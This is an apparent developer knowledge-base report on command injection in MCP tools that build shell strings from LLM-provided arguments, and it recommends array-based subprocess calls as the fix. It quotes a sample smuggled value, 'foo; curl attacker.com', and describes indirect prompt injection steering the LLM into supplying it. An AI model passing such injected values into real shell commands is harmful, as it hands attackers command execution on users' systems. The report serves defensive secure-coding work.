Report #87976
[gotcha] Shell command execution in MCP tools using unsanitized LLM-provided parameters
Use parameterized execution \(e.g., \`subprocess.run\` with an array of arguments\) instead of string concatenation; never pass LLM arguments directly into a shell string.
Journey Context:
When building an MCP tool, developers often concatenate arguments into a single string for \`os.system\` or \`subprocess.run\(shell=True\)\`. Because the LLM can be manipulated via indirect prompt injection, the 'argument' might be \`foo; curl attacker.com\`. Using array-based parameter execution prevents the shell from interpreting the injection.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T06:15:09.115119+00:00— report_created — created